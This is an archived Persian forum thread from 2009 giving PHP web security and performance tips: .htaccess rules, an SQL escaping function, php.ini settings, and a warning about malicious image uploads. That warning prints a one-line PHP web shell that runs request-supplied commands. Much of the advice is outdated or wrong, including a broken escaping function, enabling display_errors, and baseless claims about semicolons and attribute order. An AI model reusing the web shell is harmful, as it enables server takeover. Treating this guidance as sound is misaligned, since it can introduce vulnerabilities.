توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : آموزشی نکات و اصول مهم در برنامه نویسی
آبجی
7th December 2009, 06:11 PM
نکات و اصول مهم در برنامه نویسی(1#):
1- هرگز فایل های ضمیمه شده رو با پسوند inc. ذخیره نکنید! یعنی name.class.inc رو به name.class.php تغییر بدید. و یا از .HTAccess برای تعیین سطح دسترسی inc. استفاده کنید.
کد:
<FilesMatch "\.(htaccess|inc)$">
Order Allow,Deny
Allow from localhost
Allow from 127.0.0.1
Deny from all
</FilesMatch>
2- حتاًالمکان تگ های اضافی و فضا های خالی را حذف کنید و از باز و بسته کردن بیش از حد تگهای سرور خودداری کنید(مخصوصاً در پروژه های سنگین).
3- کلاس را با __construct یا نام کلاس شروع کنید و با __destruct پایان دهید. اگر هم از ارث بری کلاس استفاده نمی کنید، کلاس و توابع را با کلمه کلیدی final آغاز کنید.
کد PHP:
class MyClass
{
public function __construct()
{
# Codes...
}
}
class MyClass
{
public function MyClass()
{
# Codes...
}
}
final class MyClass
{
final public function MyClass()
{
# Codes...
}
final private function MyFunction()
{
# Codes...
}
}
4- برای Escape کردن کاراکترهای ویژه و جلوگیری از خیلی از حملات SQL از تابع زیر استفاده کنید:
کد PHP:
function Safe_SQL($Str_Input)
{
if(get_magic_quotes_gpc()): function_exists('mysql_real_escape_string') ? stripslashes(mysql_real_escape_string(&$Str_Input)) : stripslashes(mysql_escape_string(&$Str_Input));
else: function_exists('mysql_real_escape_string') ? addslashes(mysql_real_escape_string(&$Str_Input)) : addslashes(mysql_escape_string(&$Str_Input));
endif;
return($Str_Input);
}
5- اگر از Object cloning استفاده نمی کنید، در کلاس خود از تابع پیش فرض clone__ برای جلوگیری از تقلید(Clone)(شبیه سازی) توابع استفاده کنید:
کد PHP:
class MyClass
{
final public function __clone()
{
exit;
}
}
6- هرگز از Cookie برای ذخیره کلمه رمز یا مقادیر نمایشی استفاده نکنید(قابل تغییر هستند).
7- در خط اول هر فایل PHP، بعد از خطا زدایی کامل صفحه، دستور (error_reporting(0 را قرار بدید که تمامی خطا ها و هشدار ها ignore بشن. تا از سو استفاده های احتمالی جلوگیری بشه.
8- حتاًامکان از دستور GET_$ برای دریافت مقادیر استفاده نکنید. دستور REQUEST_$ را جایگزینش کنید(مقادیر ورودی رو هم فیلتر کنید): Request شامل GET, POST, Cookie می باشد.
10- در اول هر کلاس و تابع حتماً وجود و بودن کلاس و تابع رو چک کنید!
کد PHP:
if(!extension_loaded('mysql')): exit('Extension MySQL not loaded.');
endif;
...
if(function_exists('mysql_real_escape_string')): mysql_real_escape_string(...);
else: mysql_escape_string(...);
endif;
...
11- هرگز از روش زیر برای آدرس دهی(Action) استفاده نکنید:
کد PHP:
<form name="Frm_Test" action="<?= $_Server['PHP_Self'] ?>" method="post" target="_self">
...
</form>
چراکه قابل تغییر و دستکاری هستند(برای حملات (XSS(Cross Side Scripting).
راه حل:
کد PHP:
$_PHPSelf= basename(__file__);
$_Server['PHP_Self']= substr(&$_Server['PHP_Self'], 0, strpos(&$_Server['PHP_Self'], &$_PHPSelf)) . $_PHPSelf;
آبجی
7th December 2009, 06:12 PM
1- هرگز از SQLite برای نرم افزارهای سنگین استفاده نکنید!
شاید SQLite نقات قوت زیادی داشته باشه(از جمله مستقل بودن)، ولی در رابطه با نرم افزارهای سبک!
در نرم افزارهای سنگین،
اولیش: عدم نیاز به پردازش سرور! در ظاهر یه نقطه قوت هست، ولی نداشتن پردازش سرور، مجموعه ای از مشکلات بزرگ و خطرناکی رو بهمراه داره: از قبیل قفل فایل، مسایل همزمانی، مشکلات حافظه، نداشتن کش Query، مشکلات باینری، مشکلات سرریز(Overflow) شدن داده های سنگین و مشکلات مقیاسی هنگام برخورد با توده عظیمی از اطلاعات!
دومیش: باینری نا امن! SQLite اطلاعات باینری رو نمیتونه Handle کنه. برای Insert کردن داده از نوع باینری، ابتدا باید آنرا Encode کنید. بهمین شکل باید تا آخر، پس از یک Select، داده رو هی Encode/Decode کنید!
سومیش: همه جداول را قفل می کنه! اکثر پایگاه های داده جداول انفرادی(یا حتی سطر ها) رو در حین انجام عملیات قفل می کنند، اما SQLite همه پایگاه داده رو در حین عملیات قفل میکنه. که این Read/Write همزمان رو بسیار کند میکنه! و مشکلات عمده و بزرگ دیگه ای از این قبیل رو بهمراش میاره!
پس هرگز از SQLite برای نرم افزار های سنگین(با داده های سنگین) استفاده نکنید.
2- بعد از هر بار استفاده از متغیرها، آرایه ها، شی ها، کلاس ها و غیره... اگر دیگر مقدار آنرا آدرسی دهی نمی کنید اون رو خنثی(آزاد) کنید. با این کار سرعت عمل حافظه و پردازش اطلاعات و امنیت اطلاعات رو بالا می برید(این امر در مورد دیگر زبانهای برنامه نویسی هم صدق می کنه).
در PHP:
با دستور ()unset.
یا
با قرار دادن مقابل null.
مخصوصاً درخواستهای HTTP رو! مثل $_GET, $_POST, $_REQUEST. این طوری از Steal شدن مقادیرشون هم جلوگیری میشه(تا حد زیادی).
3- اگر به قاعده های توابع موجود در بسته PCRE مسلط نیستید یا به صحت قواعدتون شک دارید برای ***** کردن ورودیها/خروجیها استفاده نکنید. اینها توابعی بسیار دقیق در عین حال خیلی حساس هستند. از توابع خود بسته Standard استفاده کنید. بهینه تر هم هست(اگر نیازی به قواعد ندارید).
حتی سرعت برخی توابعی که در بسته Standard هستش از توابع موجود در بسته PCRE خیلی بیشتره! نمونش: سرعت عمل تابع str_replace نسبت به تابع preg_replace، تقریباً 20% بیشتره.
4- در زبانهای برنامه نویسی استاندارد(به غیر از VB و...) وقتی شما دستوری رو می نویسید و اجرا می کنید، حافظه پایان اون دستور رو ; یا همون نقطه ویرگول می دونه و یکی از ریز دلایلی که باعث شد استاندارد معرفی بشن همینه.
عدم رعایتش باعث: کندی در پردازش، سردرگمی در بررسی اولیه صحت دستورات، اشغال فضای حافظه(غیر قابل تخلیه)، بروز خطا(در نرم افزارهای سنگین) و از این قبیل هستش!
مثال صحیح(تکرار):
PHP Code:
if($_X)
{
};
for($_X; ...)
{
};
if($_X): ...
endif;
for($_X; ...): ...
endfor;
switch(yyyyy)
{
case xxxxx: ...
break;
};
class X
{
};
و
...
5- حتاامکان همه پارامترها، مقادیر، دستورات و غیره... رو تعریف کنید و بحالت پیش فرض رهاش نکنید تا خرابکار(خارج از نرم افزار) سو استفاده و تعریفش نکنه!
6- اگر بیش از 3-4 تابع دارید که در یک زمینه فعالیت می کنن همه رو در یک کلاس قرار بدید. هم ایمنیش بیشتره(براحتی فراخونی نمیشه)، هم Handling کردنش و هم قدرت پیمایشش. من خودم قبلاً به دلیل سرعت بیشتر تابع، شاید تا 5 تابع رو هم کلاس نمی کردم مگر اینه توابع سنگینی بوده باشن. ولی از وقتی از شامپو کلاس استفاده می کنم(ریزش موهام 2 برابر شده، خیلی خوبه) کارمم تمیز تر شده :wink:.
7- قبل از استفاده از کلاس، تابع و بسته از وجودش مطلع بشید. حتماً حتماً حتماً!
مثال صحیح:
PHP Code:
if(!extension_loaded('mysql')): exit('Extension MySQL not loaded.');
endif;
...
if(function_exists('mysql_real_escape_string')): mysql_real_escape_string(...);
else: mysql_escape_string(...);
endif;
...
و...
if(function_exists('settype')): settype($Str_Input, 'string');
else: (string)$Str_Input;
endif;
و...
8- الفبای کد نویسی ایستا!
بین(صحیح):
كد:
<input name="InpTxt_Username" type="text" value="" maxlength="15" size="15" id="InpTxt_Username">
و(غلط):
كد:
<input type="text" name="InpTxt_Username" id="InpTxt_Username">
خیلی تفاوت و جای سو، استفاده هست!
حتی بین پارامترهای CSS(غلط):
overflow: hidden; width: 250px; height: auto;
و(صحیح):
width: 250px; height: auto; overflow: hidden;
همچنین بین(صحیح):
$_REQUEST['FormName'], $_REQUEST['SubmitButtonName']...
و(غلط):
$_GET['FormName'], $_GET['SubmitButtonName']...
خیلی تفاوت و جای سو استفاده هست!
پس در نوشتن اینها(حتی اگر خودکار Insert می شوند) دقت کنید!
9- درکلاسها/اشیا از متد Protected/Public/Private به جای متد Var استفاده کنید. متد Var که معادل Public در PHP 5 هستش منسوخ شده و سطح ایمنی بسیار پایینی برای محافظت متغیر های داخلی داره. پس حتاًالمکان از این متد استفاده نکنید.
10- حتاامکان از دستورات ::Self و ::Parent در کلاس والد برای دستیابی به اعضا و غیره...، به جای ::ClassName استفاده کنید. در عمل و ظاهر تفاوتی ندارند ولی در حافظه خیلی فرق دارند(پشمایش کلی/سراسری انجام میده).
11- آسیب پذیری مشترک و همگانی!
ورودی و خروجی پارامترهای URL رو چک و ***** کنید. مطمعن شوید که مثلاً
/index.php?Module=News&Action=Show&Identity=1&Valid =True...
، در اینجا Module از نوع حروف(Alphabetic) به طول 255 کاراکتر، و Action هم از نوع حروف(Alphabetic) با طول 255 کاراکتر و Identity از نوع عدد(Integer) با طول 10، و Valid از نوع Boolean هستش! این نکته ساده رو اغلب رعایت نمی کنن و بارها بارها بارها آسیب های جدی در نرم افزار هایشون بصورت مکرر پیش میاد.
12- خروجی و ورودی ها رو به نوع مربوطش حتماً حتماً حتماً تبدیل کنید.
مثلاً:
return((array)$_Ary_Output);
function xxxxx($yyyyy)
{
echo((string)$yyyyy);
}
return((string)$_Str_Output);
...
اگر هم نرم افزارتون قابلیت تغییر Template/Theme رو داره، در آخر خروجی HTML یا همون Echo، از دستور
exit; جهت پاکسازی نهایی(آخر) بعد از خودش استفاده بکنید.
دسترسی فایلها تون رو هم به ReadOnly تنظیم کنید. حتی index.html ها در پوشه های خالی!
13- اگر از short_open_tag مثل <؟ ؟> استفاده می کنید از فعال(On) بودن این Option در راس فایلهای نرم افزارتون مطمعن بشید: ini_set('short_open_tag', 'on');
این Option در تعداد بیشماری از Server ها، بصورت Off هستش.
14- و در آخر، حتاامکان از بسته PEAR::Db استفاده نکنید!
این بسته 2 مزایا داره که == 2 معایبش... چون PEAR :: Db با PHP بکار گرفته میشه،
پس 1: لایه ای که در PHP نوشته می شود از توابع داخلی خود PHP کند تر هست! مخصوصاً اگر بدون کش opcode اجرا شود. که اغلب می شود. نمی دونم چطوری!
پس 2: لایه اضافی کد، پیچیدگی و احتمال خطا را افزایش میده و در نتیجه آسیب پذیر میشه.
من، برای خودم هیچ کدوم از بسته های PEAR رو قبول ندارم. مخصوصاً بسته های Filtration Validation Db.
پیشنهاد می کنم شما هم نداشته باشید.
آبجی
7th December 2009, 06:14 PM
1- حملات DOS/DDOS!
ساده ترین و عامیانه ترین عواملی که باعث میشن: پهنای باند پایین، پیکربندی نامناسب سرور وب و استفاده از نرم افزار های سنگین(نیوک ها، تالار/انجمن ها...) برای کار های سبک و غیر استاندارد هستش.
راه حل ها(در مورد همه زبانهای تحت وب صدق میکنه): پهنای باند حداقل 500 مگابایت، محدود کردن حجم هر بسته(HTTP post) نسبت به پهنای باند، محدود کردن حجم هر درخواست(Body request) نسبت به پهنای باند، محدود کردن حجم Upload فایل نسبت به پهنای باند، استفاده از فشرده سازی محتوا(Output)/Cache، محدود کردن زمان Excute نرم افزار(مثلاً 30 ثانیه)، بهینه سازی/استاندارد سازی محتوای Client-side، انتقال ندادن خطاهای HTTP به صفحات اصلی(در غیر این صورت یک Referer خطرناک هم خواهید داشت)، استفاده از فرمت های مناسب(JPG, JPEG, JPE...) تصاویر، Handing کردن Repetition/Duplication ها، محدود کردن ترافیک خارجی با استفاده از IP range و...
محدود کردن ترافیک با استفاده از IP range: در وبسایتهای داخلی، طبیعتاً نیازی به ترافیک کشورهای خارجی نیست(اعم از Spam/Bad bots/Visitor...)! با Block کردن range های IP کشورهای خارجی، پهنای باند و امنیت بیشتر رو برای وبسایت و سرور تون مهیا کنید. مثل روسیه، عربستان، افغانستان، ترکیه و...
2- پروتکل WAP
25% برنامه نویسان با این پروتکل آشنایی ندارند، 50% آشنایی دارند ولی اهمیتی نمیدن، 25% می شناسن و اهمیت میدن...
تنها چیزی که میشه گفت: این پروتکل همون قدر مفید و قدرتمند هستش/همون قدر هم خطرناک.
فقط چند پیشنهاد: یا کلاً اجازه ورود رو بهش ندید(ارزشش رو داره) یا تماماً Header رو پاکسازی کنید(کمی سخته) یا فقط دسترسی Browse بهش بدید(کار کشته میطلبه).
3- برای جلوگیری از ورود کاراکترهای مخرب UTF/Unicode به جداول Latin، از Option زیر برای ساختن جدول استفاده کنید(در مورد همه Database ها صدق میکنه): default charset= 'utf8' collate= 'utf8_general_ci';
4- از قرار دادن فضا های خالی بی مورد و Comment های بیجا و نامناسب خودداری کنید. اینها تقریباً 15% از حجم کل نرم افزارتون رو میگیرند!(Web programming میکنید نه Desktop programming).
5- حتالمکان توابع رو در کلاس بصورت static تعریف کنید، چراکه سرعت پردازش/Compile رو بسیار بسیار افزایش میده. همچنین بدون ساخت شی قابل دسترسی هست(مخصوصاً توابع طولانی و سنگین).
6- به هیچ وجه از دستور print در برنامه های تحت وب استفاده نکنید(++9999E+ بار گفته شده). دلیلتون برای استفاده چیه؟!
7- در هنگام نصب جداول از بودن یا نبودن جدول مطلع بشید تا هنگام نصب/پیکربندی با خطا مواجه نشین. راه ساده: drop table if exists `xxxxx`;
create table if not exists `xxxxx`;
8- حتاالمکان برای Database تون Password تعیین کنید. اغلب Database ها بصورت پیش فرض Password هایی برای مدیر دارند، که خرابکار با بدست آوردن Username براحتی وارد Database خواهد شد و...! پس برای Database تون Password تعیین کنید.
9- تنضیمات پیشنهادی برای PHP:
asp_tags رو Off قرار بدید.
implicit_flush رو On قرار بدید.
expose_php رو On قرار بدید.
max_execution_time رو 30 قرار بدید.
max_input_time رو 30 قرار بدید.
default_socket_timeout رو 30 قرار بدید.
register_globals رو Off قرار بدید(++9999E+ بار گفته شده).
session.auto_start رو 0 قرار بدید.
default_mimetype رو text/html قرار بدید(سرعت بیشتر).
display_errors رو 1 قرار بدید.
بهتره log_errors رو Off قرار بدید.
بهتره DATABASE.allow_persistent رو Off قرار بدید.
بهتره DATABASE.max_persistent رو 1 قرار بدید.
حتاامکان DATABASE.default_user و DATABASE.default_password رو خالی بزارید.
حتاامکان session.hash_function رو 1 قرار بدید(SHA1).
session.hash_bits_per_character رو 5 قرار بدید.
در حالت معمولی دلیلی ندارید که safe_mode رو On قرار بدید.
و...
10- یک فایل htaccess درست کنید(برای نرم افزارتون) و تنظیمات(اختیاری) زیر رو درونش قرار بدید(در حالت عادی):
كد:
<Limit PUT DELETE OPTIONS CONNECT>
Order Allow,Deny
Deny from all
</Limit>
<Limit POST GET HEAD>
Order Allow,Deny
Allow from all
Deny From "255.255.255.255"
Deny From "0.0.0.0"
Deny From "0000"
Deny From "000"
Deny From "00"
Deny From "0"
Deny From " "
</Limit>
ServerSignature Off
#LimitRequestBody 2042
DefaultType text/plain
AddType application/x-httpd-php .php .php3 .php4 .php5 .php6 .phphtml
AddType application/rss+xml .rss .rssxml
AddType application/atom+xml .atom .atomxml
AddType application/opml+xml .opml .opmlxml
AddHandler application/x-httpd-php .php .php3 .php4 .php5 .php6 .phphtml
#ErrorDocument 509 " "
<IfModule deflate_module>
AddOutputFilterByType Deflate application/x-javascript application/xml application/rss+xml application/atom+xml application/opml+xml text/css text/html text/xml text/plain
</IfModule>
DirectoryIndex index.html index.php index.php3 index.php4 index.php5 index.php6 index.phphtml
Options All -Indexes -ExecCGI -MultiViews
<FilesMatch "\.(htaccess|sql|phpt|htmlt|log|inf|htpasswd|passwd |cfg|inc|tmp)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<Files "robots.txt">
Order Allow,Deny
Deny from all
</Files>
AcceptPathInfo On
#SSLOptions +StrictRequire
#SSLRequireSSL
<IfModule env_module>
SetEnv SEO_Support 1
#SetEnv SITE_WEBMASTER "Name"
#SetEnv SERVER_ADMIN "Name@Domain"
#SetEnv SITE_WEBMASTER_URI "mailto:Name@Domain"
</IfModule>
(این فایل رو در پوشه(Folder) اصلی نرم افزار قرار بدید.)
11- محتویات تمام فایلهای Index.html یا Index.php یا Index.* در پوشه های خالی رو پاک کنید و فایل رو خالی از هر چیزی کنید...
حداقل اگر 10 پوشه داشته باشید در هر 5 پوشه دیگر و... و در هر فایل Index حداقل 50 کیلوبایت اطلاعات، ببینید چه حجم زیادی از نرم افزار رو میگیرن؟ ! که این حتی پهنای باندتون رو هم مصرف میکنه.(Web programming میکنید نه Desktop programming)
12- پیشنهاد: اگر نرم افزارتون قابلیت Multi language/چند زبانه رو داره، هیچ وقت یک فایل رو مختص تمام این کار قرار ندید و در همه جا همون رو فراخوانی نکنید(خیلی از نرم افزارهای معروف و مثلاً استاندارد اینکارو میکنن) در صورتی که نیمی از متغیرها بی استفاده تعریف و Load میشن! و دیگه Unload/Unset هم نمیشن!
مثلاً 1 پوشه به نام زبان درست کنید و درونش بخش بخش فایل های Language رو قرار بدید. مثلاً ,menu.php ,events.php ,global.php index.php ,login.php,...
13- هیچ وقت از آرایه/متغیر سراسری GLOBALS$/global استفاده نکنید. این دستور به صورت Scope تعریف و ارجاع می شه! و ایمنی خیلی پایینی هم داره. همچنین از ()UnSet هم پشتیبانی نمی کنه.
14- حتاالمکان از include و include_once استفاده نکنید، دلیلتون برای استفاده چیه(اینها فقط Option های اضافی PHP هستند)؟!
15- حتاالمکان آدرس(Path) کامل رو برای ضمیمه هر فایلی بنویسید. این کار سرعت پیدا/Solve کردن Path رو توسط سرور افزایش میده(Steelsheet ها، JavaScript ها، require ها و...).
16- پیشنهاد: بعد از نصب/پیکربندی نرم افزار، حتماً حتماً پوشه/فایل Install و Setup رو حذف کنید.
17- حتاامکان از دستور switch بجای چند شرطی if استفاده کنید. اینکار سرعت پردازش/Compile رو افزایش میده.
18- حتالمکان از @ برای ignore کردن خطا(Error suppression) در توابع/دستورات طولانی/سنگین/پر کاربرد استفاده نکنید! این کار سرعت سرور وب رو برای پردازش/Compile خیلی کاهش میده!
19- متغیر ها، آرایه ها، درخواستهای HTTP و... رو بعد از استفاده حتماً حتماً Unset/خنثی کنید! و یا برابر با null قرارش بدید.
20- کدها/اسکریپتهای کوتاه رو در فایل HTML قرار بدید نه در فایل PHP. این کار سرعت سرور وب رو برای پردازش/Compile خیلی افزایش میده.
21- بعد استفاده از session حتماً حتماً اون رو destroy و unset کنید:
session_unset و session_destroy
اغلب PHP نویسان به session_destroy کفایت میکنن! در صورتی که unset یه چیزه destroy چیزه دیگست...
و آخر اینکه مواظب تصاویری که Upload میشن باشید!
این مساله بیشتر در مورد فرم های ثبت نام، فرم های استخدام، گالری های تصاویر و امثالش صدق میکنه.
باید مطمعن بشید که فایل Upload شده تصویری هستش، در غیر این صورت با همچین چیزی مواجه میشید:
مثال ساده محتوای یک فایل تصویری:
كد:
<?php
@system($_REQUEST['Command']);
?>
یا
<?php
worm, cookiestealer...
?>
...
برای جلوگیری از اینکار، سایز/اندازه/پیکسل تصویر رو بگیرید... اگر فاقد اینها بود فایل تصویری نیست.
استفاده از تمامی مطالب سایت تنها با ذکر منبع آن به نام سایت علمی نخبگان جوان و ذکر آدرس سایت مجاز است
استفاده از نام و برند نخبگان جوان به هر نحو توسط سایر سایت ها ممنوع بوده و پیگرد قانونی دارد
vBulletin® v4.2.5, Copyright ©2000-2025, Jelsoft Enterprises Ltd.